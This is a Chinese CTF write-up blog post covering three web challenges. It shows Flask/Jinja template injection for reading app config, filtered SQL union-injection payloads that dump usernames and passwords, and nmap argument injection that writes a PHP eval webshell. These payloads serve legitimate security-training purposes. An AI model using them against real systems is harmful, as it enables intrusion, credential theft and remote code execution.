WEB shrine模板注入nmap的基本使用

[WesternCTF2018]shrine

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True) 

打开题目源码长这样 一点都不整齐 需要我们手动去修改,整理过后

import flask
import os 
app = flask.Flask(__name__) 

app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/') 
def index(): 
      return open(__file__).read() 

@app.route('/shrine/') 
def shrine(shrine): 

      def safe_jinja(s):
            s = s.replace('(', '').replace(')', '') 
            blacklist = ['config', 'self'] 
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 

      return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
     app.run(debug=True) 

代码审计 代码中给出了两个路由,第一个是用来显示源代码的
第二个路由在/shrine/路径下提交参数,模板中设定{{}}包括的内容为后端变量,

app.config['FLAG'] = os.environ.pop('FLAG')
表示注册了一个名为FLAG的config,可能就是flag,如果没有过滤config,可以{{config}}即可查看所有app.config内容,
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设置为空 
比如这一题的config和self.dict
但是Python还有一些内置函数,比如url_for和get_flashed_messages
http://3704e20a-9227-44d4-90c2-3ef0e1a9f3fa.node4.buuoj.cn:81/shrine/%7B%7B3+3%7D%7D

得到6
正常情况下 会试着先传入 config 或者传入self.dict
在这里插入图片描述
但是得到的是none 还有一个不回显

使用 /shrine/{{url_for.globals}}
在这里插入图片描述
看到current_app意思是当前app,呢我们就当前app下的config
/shrine/{{url_for.globals[‘current_app’].config}}
在这里插入图片描述
第二种方法:
get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

**/shrine/{{get_flashed_messages.__globals__['current_app'].config}}**
得到flag

[SWPU2019]Web1

首先进行注册 登陆后发现可以申请发布公告
在测试输入1;的时候 发现
在这里插入图片描述
使用我的fuzz字典爆破
在这里插入图片描述
长度为321的全部都是被过滤的 发现过滤的不少 、
发现是报错注入
直接上payload

#group by获取列数
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取表名
-1'/**/union/**/select/**/1,
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,'22
#获取用户名
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取密码
-1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[网鼎杯 2020 朱雀组]Nmap

这个题目还是很有意思的 考察了nmap的使用
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
在这里插入图片描述
ping 127.0.0.1
在这里插入图片描述
nmap 的-oG命令可以实现代码的写入,这里就构造payload

' <?php @eval($_POST["cmd"]);?> -oG H0ne.php '

但是回显hacker 说明被黑名单了 fuzz测试 发现过滤了php
百度发现 <? 可以用<?php进行绕过
利用phtml来代替php的后缀
最终的payload是

' <?= @eval($_POST["cmd"]);?> -oG H0ne.phtml '

在这里插入图片描述
发现上传上去了
通过蚁剑连接 就可以得到flag
在这里插入图片描述
得到回显
在这里插入图片描述

第二种方法:
nmap还有-oN功能
nmap -oN H0ne.txt
构造:
’ -oN H0ne.txt ’
在这里插入图片描述
在这里插入图片描述
发现文件写入成功
然后写入php 用一句话木马 连接进去即可

'  -oN H0ne.phtml <?=eval($_POST['cmd']); ?> '
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值